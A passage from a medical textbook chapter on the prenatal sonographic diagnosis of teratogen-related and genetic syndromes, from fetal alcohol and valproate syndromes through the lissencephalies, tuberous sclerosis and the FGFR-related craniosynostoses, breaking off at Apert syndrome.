Intellectual disability and delayed growth persist postnatally. Most children with FAS have mild to moderate intellectual disability, but this can vary widely. The severity of intellectual disability appears related to the severity of growth deficits and dysmorphogenesis, such that the more phenotypically affected individuals have lower IQ scores. Hyperactivity is frequently observed. As adults, psychiatric disorders are highly prevalent in individuals with FAS, affecting more than 70% in one series, in which 60% had alcohol or drug dependence, 44% depression, and 40% psychosis.
Recurrence risk is high (up to 70%) in subsequent pregnancies if mothers continue to drink alcohol.
The management of these pregnancies should be aimed at reducing alcohol consumption; few programs have had significant efficacy.
Characteristic facial features in a child with fetal alcohol spectrum disorders. Findings may include a smooth philtrum, thin upper lip, upturned nose, flat nasal bridge and midface, epicanthal folds, small palpebral fissures, and small head circumference.
(Courtesy Darryl Leja, NHGRI, National Institutes of Health.)
Characteristic features of an ear of a child with fetal alcohol spectrum disorders. Note the underdeveloped upper part of the ear parallel to the ear crease below (“railroad track” appearance).
Characteristic features of a hand of a child with fetal alcohol spectrum disorders. Note the curved fifth finger (clinodactyly) ( small arrow ) and the upper palmar crease ( large arrow ) that widens and ends between the second and third fingers (“hockey stick” crease).
Fetal Valproic Acid Syndrome
Fetal valproic acid exposure syndrome results from maternal valproate (an anticonvulsant) use during pregnancy and is characterized by CNS dysfunction, spina bifida, developmental delay, fetal growth restriction, and cardiac anomalies.
Depakote exposure is a synonym for fetal valproic acid syndrome.
Fetal valproic acid syndrome is rare, and the incidence is unknown. Any epileptic pregnant mother has two to three times increased risk for congenital anomalies compared with the general population. If the exposure to valproic acid takes place between the 17th and 30th days after fertilization, the incidence of neural tube defects approaches 1% to 2%. In general, the teratogenic risks are higher with increasing doses of valproic acid, with a significantly higher rate of malformations in doses up to 1000 mg/day.
Exposure to valproic acid is the cause of this syndrome.
The pathogenesis of fetal valproic acid syndrome is unknown.
The findings include cardiovascular abnormalities, hypotonia, spina bifida, hypospadias, and limb reduction. The facial appearance can be characterized by an oral cleft, small broad nose, small ears, flat philtrum, a long upper lip with shallow philtrum, and micrognathia/retrognathia. Fetal growth restriction, microcephaly, generalized hypertrichosis sparing palms and soles, coarse face, gum hypertrophy, clubfeet and clubhands, musculoskeletal abnormalities, genital abnormalities, and urogenital defects may also be present. Heart defects have also been reported. In 26% of patients with fetal valproic acid exposure syndrome, cardiovascular abnormalities, most frequently VSDs, aortic or pulmonary stenosis, and persistent ductus arteriosus also occur. Pulmonary hypoplasia is also reported. Epilepsy and intellectual disability may develop after birth.
Associated anomalies include omphalocele, inguinal hernia, duodenal atresia, and scoliosis. Hyperbilirubinemia, hepatotoxicity, transient hyperglycinemia, afibrinogenemia, and fetal or neonatal distress may be found.
Neural tube defects of alternative origin should be considered. However, the clinical history in the presence of spina bifida and cardiac anomaly should suggest the diagnosis.
Fetuses with major anomalies have a poor prognosis. Metabolic disturbances may also complicate the neonatal period. Affected children can die in infancy, and the surviving patients can have intellectual disability.
If the mother is exposed to valproic acid in a second pregnancy, the teratogenic effect is likely to be similar.
Fetal valproate syndrome. Note low-set ears, slanting forehead, broad nasal bridge, hypertelorism, epicanthal folds, depressed nasal bridge, long philtrum, upturned nose, thin upper llip, and small mouth .
(From Kulkarni ML, Zaheeruddin M, Shenoy N, Vani HN: Fetal valproate syndrome. Indian J Pediatr 73(10):937-939, 2006.)
Fetal Warfarin Syndrome
Fetal warfarin syndrome is characterized by specific bone and cartilage abnormalities in the fetus, including nasal hypoplasia, limb hypoplasia, and stippled epiphyses. It is caused by fetal exposure to warfarin between weeks 6 and 12 of gestation.
Fetal warfarin syndrome has also been described as warfarin embryopathy and coumadin exposure.
A wide range has been reported, but the best estimate is that less than 10% of exposed fetuses will have embryopathy. The teratogenic effect is dose-dependent, with greater safety if the dose is less than 5 mg/day.
Warfarin freely crosses the placenta and is a known teratogen, with the highest risk between weeks 6 and 12 of gestation.
The pathogenesis is unknown. Some hypotheses suggest that the drug interferes with post-translational modification of calcium-binding proteins essential for the development of bony structures.
Common sonographic findings include developmental abnormalities of bone and cartilage, specifically nasal and limb hypoplasia and stippled epiphyses.
CNS abnormalities have been more rarely reported and include microcephaly, optic atrophy, intellectual disability, hypotonia, and spasticity.
Differential diagnosis includes other disorders affecting the bone and cartilage, specifically chondrodysplasia punctata.
Because warfarin freely crosses the placenta, it can cause fetal bleeding at any gestational age. The most serious fetal complications are related to cerebral hemorrhage. Data on long-term survivors are lacking.
The recurrence risk is unknown. Fetal warfarin syndrome is related to warfarin exposure in subsequent pregnancy.
When detected prior to viability, termination of the pregnancy can be offered. If the pregnancy continues, no alteration in management is needed. If warfarin is continued throughout the pregnancy, it should be discontinued at 34 to 36 weeks’ gestation and an alternative agent should be used for anticoagulation to minimize the risk of fetal bleeding at the time of delivery.
Profile of a fetus with nasal hypoplasia, as is seen with fetal warfarin syndrome.
Maternal Diabetes/Caudal Regression Syndrome
Caudal regression syndrome is a rare congenital defect, characterized by the absence of the sacrum, variable defects of portions of lumbar spine, and anomalies in other systems.
Caudal dysplasia sequence and sacral agenesis are other terms that have been used to describe caudal regression syndrome.
The incidence of caudal regression syndrome is 0.25 to 1 per 10,000 normal pregnancies. This risk is 200 to 250 times higher in diabetic pregnancies.
The cause is unknown, but caudal regression syndrome is associated with maternal diabetes in 16% of the affected fetuses.
This anomaly is not thought to be hereditary, and the recurrence risk is very small, although it is higher in diabetics.
The sonographic findings are variable, and depend on the extent and severity of the defect. It ranges from complete absence of the sacrum associated with abnormalities of the lumbar spine and lower extremities (such as clubfeet and contractions of the knees and hips) to abnormalities of the sacrum without associated defects. The most typical findings are the absence of a few vertebrae, the shield-like appearance of the fused or approximated iliac wings, and decreased interspace between the femoral heads. Some sonographic planes of section will intersect the fetus at such an angle that no spine is visible, a very striking and probably pathognomonic finding. Decreased movement of the legs is frequently observed. First trimester diagnosis may be difficult because of incomplete ossification of the sacrum at that time. A short crown-rump length and abnormal appearance of the yolk sac have been proposed as early sonographic signs of caudal regression syndrome.
The genetics of caudal regression syndrome is unknown.
This syndrome is thought to be due to disrupted maturation of the caudal portion of the spinal cord complex before 4 weeks’ gestation, leading to motricity deficits and neurologic impairment, varying from incontinence of urine and feces to complete neurologic loss.
Anomalies of the central nervous, musculoskeletal, genitourinary, cardiac, respiratory, and GI systems may be found in association.
Sirenomelia is the main alternative diagnosis and was thought to be the most severe form of caudal regression syndrome previously; it is now considered a separate entity. Fusion of the lower extremities is generally seen in sirenomelia.
Prognosis depends on the severity of the spinal defect and associated anomalies, but the vast majority of survivors require urologic and orthopedic intervention. Severe forms are commonly associated with cardiac, renal, and respiratory problems, which are responsible for early neonatal death.
Caudal regression syndrome associated with poorly controlled maternal diabetes. A, Absent distal sacral spine ( arrow ); B, fixed extension of the lower extremity.
Caudal regression syndrome associated with poorly controlled maternal diabetes. Postnatal radiographs demonstrate vertebral segmentation abnormality ( A ) ( arrow ) and absent sacrum ( B ) ( arrow ).
Caudal regression syndrome. The lack of sacrum allows the iliac wings to be approximated, giving them a shield-like appearance ( arrow ).
Characteristic CNS abnormalities are seen in a majority of genetic syndromes, and, thus, an exhaustive list of associated syndromes is beyond the scope of this chapter. CNS abnormalities can be seen in all regions of the brain and include Chiari malformation, holoprosencephaly, lissencephaly, polymicrogyria, cerebellar hypoplasia, agenesis of the corpus callosum, hydrocephalus, neural tube defects, and CNS tumors. Many of these abnormalities and associated conditions are discussed in more detail in Chapter 9 , Ultrasound Evaluation of the Fetal Central Nervous System. In this chapter, several syndromes with prominent CNS findings will be reviewed in greater detail, including Aicardi syndrome, Meckel syndrome (MKS), lissencephaly-associated syndromes (Miller-Dieker, Walker-Warburg, Baraitser-Winter, Norman-Roberts, microlissencephaly, and Neu-Laxova syndromes), septo-optic dysplasia, tuberous sclerosis, and L1 syndrome.
Aicardi syndrome is a neurodegenerative disorder first described in 1965, characterized by cerebral atrophy, intracerebral calcification of the basal ganglia, chronic cerebrospinal fluid lymphocytosis, and negative serologic investigations for common prenatal infections. It was classically characterized by agenesis of the corpus callosum, chorioretinal lacunae, and infantile spasms.
More than 100 cases have been reported. It is seen only in females and 47,XXY males.
The disorder is thought to be caused by an X-linked dominant de novo gene mutation with lethality in 46,XY males. The causative gene has not been identified.
The genetics of Aicardi syndrome are unknown.
The diagnosis is based on clinical features, including chorioretinal lacunae, brain MRI findings (corpus callosum dysgenesis, cerebral asymmetry, periventricular and intracortical gray matter heterotopia, choroid plexus cysts, choroid plexus papillomas, ventriculomegaly), and skeletal findings (abnormal vertebrae and missing ribs). Increased levels of interferon-α can been found in fetal blood and cerebrospinal fluid.
Other features include characteristic facial features, GI difficulties, small hands, vascular malformations, skin pigmentary lesions, and increased incidence of tumors. Infrequently, there is associated cleft lip and palate.
Consider other causes of dysgenesis of the corpus callosum, including infectious causes.
Survival is highly variable, with mean age of death at about 8 years old. Patients have profound intellectual disability and severe global developmental delay. Medically refractory epilepsy with a variety of seizure types develops over time. Multiple antiepileptic drugs are generally required for seizure control. Costovertebral defects can lead to scoliosis. Constipation and other GI problems are frequent.
The recurrence risk is less than 1%.
Aicardi syndrome. A, Ventriculomegaly; dilated lateral ventricle ( arrow ) is demonstrated in an axial image; B, Dandy-Walker malformation with agenesis of the cerebellar vermis ( arrow ); C, coronal magnetic resonance image of the fetal brain demonstrating agenesis of the corpus callosum and an interhemispheric cyst.
Meckel Syndrome
Meckel syndrome (MKS) is a lethal ciliopathy characterized by occipital encephalocele, postaxial polydactyly of the hands and feet, and renal cystic dysplasia. It is commonly associated with ductal plate malformations of the liver.
Dysencephalia splanchnocystica and Meckel-Gruber syndrome are synonyms for MKS.
The prevalence of MKS in Finland is estimated to be 1 in 9000. In U.S. and European populations estimates are 1 in 13,250 to 1 in 140,000. MKS is the most common syndromic form of neural tube defects and polydactyly. MKS includes approximately 5% of all neural tube defects.
MKS is a ciliopathy, and the proteins encoded by the genes implicated in the disorder encode for proteins involved in primary ciliary function.
The disorder is genetically heterogeneous. The earliest implicated genes include MKS1 and MKS3 . Polydactyly is commonly found with MKS1 mutations and is rare with MKS3 mutations. Milder CNS phenotypes are seen with MKS3 mutations. The list of involved genes now includes at least 13 genes, MKS1 through 10 , TMEM231 , TMEM237 , and C5orf42 . Inheritance is autosomal recessive with significant phenotypic variability. Many of the same genes are also involved in Joubert syndrome.
There is a 25% recurrence risk for MKS.
The disorder can be detected prenatally as early as 11 to 14 weeks. Cystic dysplastic kidneys are seen in almost all cases of MKS (95-100%). The kidneys initially develop microscopic cysts that destroy the parenchyma and enlarge the organ up to 10 or 20 times. Occipital cephalocele is present in 60% to 80%. Maternal serum or amniotic fluid alpha-fetoprotein (AFP) level may be normal, as a membrane may cover the cephalocele. Other CNS findings include Dandy-Walker malformation and hydrocephalus. Postaxial polydactyly is present in 55% to 75% of fetuses. Other limb anomalies, such as bowing and shortening, may also be present. Liver histologic examination commonly demonstrates ductal plate malformations. Unfortunately, the first sonographic finding is often oligohydramnios, which makes the diagnosis more difficult to establish. Oligohydramnios is caused by renal dysfunction and develops early in the second trimester when the kidneys replace extracellular diffusion as the main source of amniotic fluid. Some cases of MKS have normal amniotic fluid; thus, the presence of normal fluid does not exclude the diagnosis.
Conditions that can present with similar findings include trisomy 13 and 18, Joubert syndrome, Bardet-Biedl syndrome, and Smith-Lemli-Opitz syndrome. Karyotype and molecular genetic testing can assist in clarifying the diagnosis.
MKS is a lethal disorder. Most infants are stillborn or die hours or days after birth. A few have survived to a few months of age.
Meckel syndrome: occipital encephalocele ( arrow ).
(Courtesy of Marcos V. Sanchez, 2005. Available at thefetus.net .)
Meckel syndrome: cystic dysplastic kidneys.
Meckel syndrome: polydactyly ( arrow ).
A fetus with Meckel syndrome. Note the small posterior encephalocele, the large abdominal distention due to the bilateral cystic kidneys, and the postaxial polydactyly.
Lissencephaly is a cerebral developmental disorder, with agyria of the brain, which may be accompanied by pachygyria, minimal or no hydrocephalus, a wide cortical mantle, and characteristic dysmorphic features. The reduced or absent brain gyri are caused by disturbed neuronal migration in the neocortex. Miller in 1963 and Dieker in 1969 provided the first descriptions.
See later discussion of specific syndromes.
Incidence is uncertain, but estimates range from 11.7 to 40 cases per 1 million births.
Many of the causative genes for lissencephaly have now been identified (see later).
Lissencephaly is due to abnormal cortical development in which migration of neurons from the ventricular zone (a region close to the lateral ventricles) have slow or arrested migration to the cortical plate, leading to reduced folding or stranded neurons. Lissencephaly is now classified into types including the following.
Classic Types.
Classic type lissencephaly is characterized by abnormally thick, four-layer cerebral cortex without other major brain anomalies. It is caused by mutations in 4 genes: PAFA, H1B1 (LIS1), DCX, and TUBA1A .
Miller-Dieker Syndrome.
Miller-Dieker syndrome (classic lissencephaly plus) is characterized by severe, classic lissencephaly, as well as facial dysmorphism (high forehead, micrognathia, short nose with anteverted nares, protuberant upper lip, bitemporal narrowing). Severe developmental delay and intellectual disability are also present. Other associated anomalies include omphalocele, cleft palate, and genital anomalies. Miller-Dieker syndrome results from chromosomal deletions at 17p13.3.
Cobblestone Cortical Malformation.
Cobblestone cortical malformation was previously known as type 2 lissencephaly and is distinct from classic lissencephaly. The cortex appears irregular or pebbled and is thinner. There may also be irregularity in the gray-white matter boundary, dilated ventricles, white matter abnormalities, brainstem hypoplasia, and cerebellar abnormalities. Although this group is genetically heterogeneous, it is most commonly due to defects in α-dystroglycan O -glycosylation. Known causative genes include POMT1, POMT2, POMGNT1, FKRP, FKTN, ISPD, and LARGE . The three associated phenotypes are Walker-Warburg syndrome, muscle-eye-brain disease, and Fukuyama congenital muscular dystrophy (ranging from most to least severe).
Walker-Warburg Syndrome.
Walker-Warburg syndrome is a congenital muscular dystrophy characterized by eye anomalies and cerebral malformations. A wide variety of eye and cerebral findings have been reported including: microphthalmia, buphthalmos, congenital glaucoma, cataract, optic nerve hypoplasia, persistent hyaloid artery, Dandy-Walker malformation, hydrocephalus, cephalocele, microcephaly, and agenesis of the corpus callosum. Most affected newborns die within the first year of life. No psychomotor development occurs.
Muscle-Eye-Brain Disease.
Muscle-eye-brain disease is a milder congenital muscular dystrophy in which ambulation may be acquired. Eye findings are common. The cerebral cortex demonstrates frontoparietal pachygyria, the cerebellar vermis is hypoplastic, and the brainstem is usually hypoplastic.
Fukuyama Congenital Muscular Dystrophy.
Fukuyama congenital muscular dystrophy is the most mild of the three phenotypes. Ambulation is often acquired. Eye findings are variable and often mild. Brain findings are variable, but typically less severe than the other phenotypes.
X-Linked Lissencephaly With Ambiguous Genitalia.
Males affected with X-linked lissencephaly have severe developmental delay, small or ambiguous genitalia, and seizures. Microcephaly, feeding difficulties, and growth failure are also present. Death in the first year is common. It is caused by muations in the gene ARX .
Baraitser-Winter Syndrome.
Baraitser-Winter syndrome is a rare syndrome with anterior-predominant pachygyria and characteristic facial features (hypertelorism, broad nose, ptosis, ridged metopic suture, arched eyebrows). Other common features include iris or retinal coloboma, sensorineural deafness, microcephaly, polyhydramnios, increased nuchal translucency, congenital heart defects, and renal tract anomalies. Intellectual disability and epilepsy are common. Caused by gain-of-function mutations in the genes ACTB and ACTG1 .
Lissencephaly With Cerebellar Hypoplasia.
Lissencephaly with anterior-predominant pachygyria and severe abnormalities of the cerebellum, brainstem, and hippocampus is caused by mutations in TUBA1A and RELN (Norman-Roberts syndrome).
Microlissencephaly.
Microlissencephaly is lissencephaly with head circumference at birth of less than three standard deviations. It is caused by mutations in the NDE1 gene.
Neu-Laxova Syndrome.
NLS is a lethal lissencephaly disorder inherited in an autosomal-recessive manner, characterized by growth restriction, microcephaly, agenesis of the corpus callosum, cerebellar hypoplasia, facial dysmorphism, hydrops, ichthyosis, extremity contractures, and syndactyly. It is due to an inborn error of serine metabolism, with causative mutations in the gene PHGDH .
Recurrence risk is dependent on the particular lissencephaly syndrome.
Sonographic diagnosis is difficult prior to the late second trimester, when the characteristic cerebral anomalies can be noted. The progressive microcephaly and failure of development of both sulci and gyri (which normally become well defined by 26 to 28 weeks) are suggestive of lissencephaly. Specific lissencephaly-related syndromes are difficult to differentiate prenatally. First-line genetic investigations involve chromosomal microarray, followed by next-generation sequencing multigene panels or exome sequencing.
Prognosis varies depending on the particular disorder.
Abnormal sylvian fissure/insula at 26 weeks. A, Axial ultrasound image at 26 weeks in a fetus with lissencephaly associated with Miller-Dieker syndrome shows a shallow, flat sylvian fissure/insula ( arrow ) with absence of angularity at the insular margins. Inset shows the expected appearance of the sylvian fissure/insula in a 26-week normal fetus. Infolding of the operculum should be seen with acute angles ( black arrows in inset) at the margins of the insula ( white arrowhead in inset) at 24.5 weeks’ gestation. Axial ( B ) and coronal ( C ) T2-weighted magnetic resonance images at 28 weeks in the same fetus with Miller-Dieker syndrome showing a shallow sylvian fissure ( arrow ). The brain has an hourglass or figure-of-eight appearance on the axial image. Also note the agyria, large subarachnoid space, and mildly dilated occipital horns.
(From Fong KW, Ghai S, Toi A, et al: Prenatal ultrasound findings of lissencephaly associated with Miller-Dieker syndrome and comparison with pre- and postnatal magnetic resonance imaging. Ultrasound Obstet Gynecol 24:716, 2004, used with permission.)
Septo-Optic Dysplasia
Septo-optic dysplasia is a syndrome characterized by anomalies of cerebral midline structures, such as absence of the septum pellucidum, congenital optic nerve dysplasia, and panhypopituitarism, leading to multiple endocrine defects (diabetes insipidus, hypogonadotropic hypogonadism, hypothyroidism, adrenal insufficiency, abnormal thyrotropin-releasing hormone test, gonadotropin-releasing hormone test, and gonadotropin hormone–releasing hormone test). Septo-optic dysplasia may represent a mild form of holoprosencephaly.
Septo-optic dysplasia is also known as de Morsier syndrome.
The incidence is estimated at 1 in 10,000 newborns.
Etiopathology
Environmental factors such as viral infections, medications, and vascular disruption have been postulated to play a role. The implicated genes (see later) are involved in embryonic development and are essential for formation of the eyes, the pituitary gland, and forebrain structures such as the optic nerves.
Mutations in HESX1, OTX2, and SOX2 are thought to be causative in a small subset of patients.
The recurrence risk is unknown, depending on the cause.
CNS: seizures, mental retardation, atrophy of the optic nerve, dilatation of the suprasellar cistern, empty sella, cortical atrophy and dystrophic corpus callosum, and anterior cephalocele.
Face: hypotelorism, microphthalmia, visual impairment with nystagmus, unilateral or bilateral optic disk hypoplasia with double rim appearance (choroidal pigment in the outer margin and pale nerve tissue in the inner), variable visual loss, coloboma, strabismus, astigmatism, bilateral cleft lip and palate, high arched palate, and flat nasal bridge.
Endocrine system: low growth rate and short stature. The most common problem is growth hormone deficiency (93%), followed by adrenocorticotropic hormone (ACTH) deficiency (57%), hypothyroidism (53%), diabetes, and gonadotropin deficiency. Hypothalamic dysfunction is the basic origin of these endocrine abnormalities. Septo-optic dysplasia is responsible for approximately 4% of all growth hormone deficiencies in children.
Absence of the cavum septum pellucidum (CSP) is the most common finding. Sometimes, the standard sonographic views of the brain, obtained along the axial planes at midgestation, will fail to identify this absence. Absence of the CSP may not be detected because of the close proximity of the walls of the lateral ventricles, which are typically normal in size and may generate an artifact resembling a normal CSP. MRI is helpful for demonstration of hypoplastic optic tracts, allowing more definitive diagnosis. Hypotelorism, enlarged cerebral ventricles, communicating lateral ventricles, and bilateral cleft lip and palate have also been recognized prenatally.
Several variants with associated schizencephaly, dysgenesis of the corpus callosum, or microphthalmos, as well as incomplete forms, have been described. Lobar holoprosencephaly may also resemble septo-optic dysplasia.
The variable degree of intellectual disability (from minimal to severe), as well as the presence of multiple endocrine dysfunctions, affects the prognosis for each infant. Hyperthermia (in case of fever), dehydration (fever and diabetes insipidus), and other endocrine dysfunctions should be investigated and corrected.
Second trimester sonogram of the fetal head in a patient with septo-optic dysplasia. Absence of the septum pellucidum and communication of the frontal horns of the lateral ventricles ( arrows ) is seen.
Tuberous sclerosis is characterized by abnormalities of the skin (facial angiofibromas, hypochromic patches), brain (cortical tubers, subependymal nodules and giant cell astrocytomas, seizures, intellectual disability), kidneys (cysts, renal cell carcinomas, angiomyolipomas), heart (rhabdomyomas, arrhythmias), and lungs (lymphangioleiomyomatosis).
Tuberous sclerosis is also called Bourneville sclerosis and Bourneville disease.
The incidence of tuberous sclerosis is up to 1 in 5800 births. Onset occurs in the first decade of life.
Tuberous sclerosis is transmitted through autosomal-dominant inheritance. Two thirds of affected individuals have a de novo mutation. The expression is highly variable.
Tubers are the expression of an early disorder of embryogenesis. The greater the number of tubers, the greater the number of neurologic impairments. They can be found throughout the cerebral hemispheres, including in the subependymal region located in the walls of lateral ventricles and on the surface of the basal ganglia. They may extend into the ventricles including in the foramen of Monro area and can cause obstruction and hydrocephalus. They may also appear in the cortical gyri and sulcus terminalis. Tuberous sclerosis induces a reduction of the number of neurons, which are substituted by “monster” multinucleated giant neurons. The overgrowth of the fibrillary astrocytes can result in malignant astrocytomas. The sclerosis induces a demyelination, as well as calcium deposition in the glia and the blood vessels, which go through hyaline degeneration.
Tuberous sclerosis can present with a wide variety of signs that involve many organs as a consequence of the multifactorial origin of this genetic disorder ( Table 16-1 ).
TABLE 16-1
Main Aspects of Tuberous Sclerosis
Classic triad (<50% of cases)
Facial lesions
Cortical hamartomas
Lesion of white substance *
Subependymal hamartomas (95%)
Typical localization: alongside lateral ventricle walls
Astrocytoma of subependymal giant cells *
Localization: foramen of Monro
Obstructive hydrocephaly
Rhabdomyoma
Aneurysm, stenosis, and vascular ectopia
Leiomyoma
* No reports of intrauterine visualization.
The diagnosis is usually suggested by the discovery of cardiac tumors, which resemble small uterine myomas (round, usually well-delineated homogeneous masses). Between 51% and 86% of cardiac rhabdomyomas are seen in patients with tuberous sclerosis. Occasionally, the finding of a rhabdomyoma during routine second trimester ultrasound examination may lead to the recognition that the mother is affected. Cardiac rhabdomyomas increase prenatally, may regress in early infancy, remain unchanged during childhood, and regress in adolescence. The rhabdomyomas may cause rhythm disruptions (Wolff-Parkinson-White syndrome, supraventricular tachycardia, paroxysmal arrhythmias), as well as obstructions or regurgitation. Renal angiofibromas have not been recognized prenatally, although this may simply be a matter of time. Some recent unpublished reports have demonstrated that the periventricular subependymal nodules may also be detected prenatally. 2D Doppler echocardiography is a useful, noninvasive method to diagnose fetal cardiac rhabdomyomas and to monitor their influence on fetal cardiac function. However, it does not help to determine which fetuses affected by rhabdomyomas have tuberous sclerosis. Some studies report that 39% of prenatal suspected cardiac rhabdomyomas will be diagnosed at birth as a tuberous sclerosis syndrome. Family history remains the strongest predictor of the syndrome in prenatal counseling, whereas size of the cardiac tumor cannot reliably be used. The presence of more than one rhabdomyoma is more likely to be associated with tuberous sclerosis than a single identified lesion. MRI can be performed to assess for the associated malformations.
Tuberous sclerosis is caused by defects or mutations in one of two genes, TSC1 and TSC2 . TSC1 produces a protein called hamartin. TSC2 produces a protein called tuberin. These proteins act as tumor suppressors, which are agents that regulate cell proliferation and differentiation. At least 1% of patients with tuberous sclerosis have somatic mosaicism for TSC1 or TSC2 .
The predominant prenatal finding is rhabdomyomas. Other cardiac tumors, such as a fibroma, should also be considered.
Recurrence risk is generally low in cases of new mutations, but up to 1% to 2% due to gonadal mosaicism, 50% if a parent is affected.
As long as hydrops is not present from the presence of the rhabdomyomas, the prognosis depends on other complications of the disorder. CNS tumors are the leading cause of morbidity and fatality. Renal disease is the second leading cause of early death. Because of the wide variability of expression, an accurate prediction of a child’s phenotype is difficult to infer from the status of the parent. Genetic evidence indicates that the degree of intelletual disability depends on the particular genetic alteration present.
Tuberous sclerosis. Cardiac rhabdomyoma is demonstrated as a large, solid echogenic mass ( arrow ) in the left cardiac ventricle of this fetus with tuberous sclerosis.
The typical café-au-lait spot of tuberous sclerosis.
(Courtesy of Philippe Jeanty, 1999. Available at thefetus.net .)
Axial view (T2-weighted) in a fetus of 26 weeks’ gestation showing a typical subependymal nodule ( arrow ).
(Courtesy of Heron Werner, 2005. Available at thefetus.net .)
L1 Syndrome
L1 syndrome includes a spectrum of phenotypes (see following synonyms) and is generally characterized by severe hydrocephalus, adducted thumbs, spasticity, and severe intellectual disability.
Synonyms for L1 syndrome include X-linked hydrocephalus with stenosis of the aqueduct of Sylvius (HSAS), MASA (mental retardation, aphasia, spastic paraplegia, adducted thumbs) syndrome, SPG1 (X-linked complicated hereditary spastic paraplegia type 1), and X-linked corpus callosum agenesis.
The incidence is 1 in 30,000 births, accounting for 5% to 10% of males with congenital hydrocephalus not associated with another syndrome.
Mutations in the L1CAM gene are thought to lead to the clinical phenotype. L1CAM is an adhesion surface protein involved in transmembrane signaling and is essential for the development and function of neurons.
Clinical findings include hydrocephalus with or without stenosis of the aqueduct of Sylvius, as well as corpus callosum agenesis or dysgensis, cerebellar hypoplasia, small brainstem, and bilateral absence of the pyramids. Bilateral absence of the pyramids on MRI or at autopsy is pathognomonic. Prenatally, hydrocephalus can be seen, but is often not seen prior to 20 to 24 weeks’ gestation, and sometimes is not seen even in the third trimester of pregnancy.
L1 syndrome is caused by mutations in L1CAM gene. Inheritance is X-linked recessive.
Recurrence risk is 50% for women who are carriers of an L1CAM mutation.
Hirschsprung disease has been seen in some individuals with L1 syndrome.
Other syndromic and nonsyndromic causes of hydrocephalus should be excluded.
The phenotype can range from mild to severe even within the same family.
A multidisciplinary team is required for optimal management. Head imaging should be performed. Surgical treatment is often required to relieve hydrocephalus. Regular neurologic, developmental evaluation and follow-up are needed. Surgery for adducted thumbs is generally not indicated.
Cranium/Face
Craniosynostoses
Craniosynostosis has been reported in over 150 genetic disorders and is found in 1 per 2000 to 2500 live births. Many of the craniosynostoses are caused by mutations in one of the FGFR genes, including Apert syndrome, Beare-Stevenson syndrome, Crouzon syndrome, Crouzon syndrome with acanthosis nigricans, FGFR2 -related isolated coronal synostosis, Jackson-Weiss syndrome, Muenke syndrome, and Pfeiffer syndrome. Although Muenke syndrome and FGFR2 -related isolated coronal synostosis are characterized by coronal craniosynostosis only, the others have related facial features and extremity findings. FGFR -related craniosynostoses have been associated with advanced paternal age. Syndromic craniosynostoses involving other genes include Antley-Bixler syndrome (caused by mutations in the POR gene), Carpenter syndrome (caused by mutations in RAB23 ), and Saethre-Chotzen syndrome (caused by mutations in TWIST1 ).
In general, management of the craniosynostoses should include involvement of a multidisciplinary craniofacial clinic at a pediatric medical center, as a series of staged surgical procedures is often required for treatment and generally involves craniotomy and fronto-orbital advancement. Surgical correction of limb defects may also be needed, depending on the particular anomalies. Early treatment can decrease the risk of secondary complications, such as hydrocephalus and intellectual disability. If proptosis is severe, ophthalmologic lubrication can prevent exposure keratopathy. The prognosis for each affected individual is most dependent on the particular anomalies present and less on the specific craniosynostosis syndrome.
A few of the more common disorders are discussed in more detail above ( Table 16-2 ).
Distinguishing Clinical Features in the FGFR -Related Craniosynostosis Syndromes
Adapted from Robin NH, Falk MJ, Haldeman-Englert CR: FGFR-related craniosynostosis syndromes. GeneReviews. Seattle, University of Washington, June 2011.
Great Toes
Genetic Basis
FGFR2
Crouzon syndrome with acanthosis nigricans (AN)
Occasionally fused to fingers
Soft tissue ± bone syndactyly
Occasionally fused to toes
Broad, medially deviated
Variable brachydactyly
FGFR1 (5% of type 1); FGFR2 (most)
Muenke syndrome
± Carpal fusion
± Broad
± Tarsal fusion
Abnormal tarsals
Beare-Stevenson syndrome
< FGFR2
FGFR2 -related isolated coronal synostosis
Antley-Bixler Syndrome
Definition.
Antley-Bixler syndrome is a sterol biosynthesis disorder characterized by craniosynostosis of the coronal and lambdoidal sutures, brachycephaly with frontal bossing, and facial dysmorphism (proptosis, downslanting palpebral fissues, severe depression of the nasal bridge, choanal stenosis or atresia, small mouth, high-arched narrow palate, low-set protruding ears). Hydrocephalus can be present. Limb anomalies include radiohumeral synostosis, bowing of the ulnas and femurs, slender hands and feet, contractions of the proximal interphalangeal joints, advanced bone age, and fractures.
Synonym.
Antley-Bixler syndrome is also known as trapezoidocephaly-multiple synostosis syndrome.
Etiology.
Caused by cytochrome P450 oxidoreductase (POR) deficiency, Antley-Bixler syndrome is the most severe end of the phenotypic spectrum of POR deficiency.
Incidence.
The incidence is unknown. Since POR mutations were first reported in 2004, approximately 50 affected individuals have been reported. More mildly affected individuals are likely underreported.
Pathogenesis.
The mechanism by which POR deficiency leads to multiple malformations remains under investigation. Ambiguous genitalia result from disordered steroidogenesis. Recently, cytochrome P450 activity in bone has been implicated in normal bone development, and, thus, POR deficiency may disrupt proper bone formation.
Diagnosis.
Malformations that may be detected on prenatal ultrasound examination include abnormal skull shape, facial dysmorphism, skeletal abnormalities (bowed femora, bilateral radioulnar synostosis), and ambiguous genitalia. During pregnancy, low maternal estriol may be found on serum screening. Maternal urine may also have increased fetal steroids, including the pregnenolone metabolite epiallopregnanediol and the androgen metabolite androsterone. POR deficiency can be diagnosed in affected infants by the detection of urinary sterol or steroid abnormalities, including increased pregnenolone and progesterone metabolites and an elevated ratio of metabolites associated with deficiency of 17-hydroxylase and 21-hydroxylase. Serum concentrations of pregnenolone, progesterone, 17-OH pregnenolone, and 17-OH progesterone may be elevated at baseline or following ACTH stimulation. Some cases are found on newborn screening (NBS), but NBS is not sensitive enough to detect all cases.
Genetics.
Antley-Bixler syndrome is caused by mutations in the gene encoding cytochrome P450 reductase ( POR ). Inheritance is autosomal recessive.
Recurrence Risk.
Recurrence risk is 25%.
Associated Anomalies.
Congenital heart disease, renal anomalies, abnormalities of the female genitalia, and signs of congenital adrenal hyperplasia are also present. Some degree of intellectual disability is often seen, but intelligence can also be normal.
Differential Diagnosis.
Other forms of congenital adrenal hyperplasia as well as other craniosynostosis syndromes should be considered.
Prognosis.
Prognosis improves with age. In infancy, respiratory complications can lead to early death.
Multidisciplinary evaluation is needed. Airway management is a primary concern owing to choanal atresisa/stenosis. Functional adrenal studies should be performed and hydrocortisone replacement therapy initiated if low cortisol levels are found. Genital abnormalities are often treatable and should be addressed.
Apert syndrome is characterized by craniosynostosis, midface and orbital hypoplasia, and bilateral syndactyly of the hands and feet. These findings are accompanied by variable degrees of mental retardation in 50% of cases.
The incidence of Apert syndrome is 1 per 100,000 live births. It is seen in 4% to 5% of craniosynostosis cases.
Synonyms.
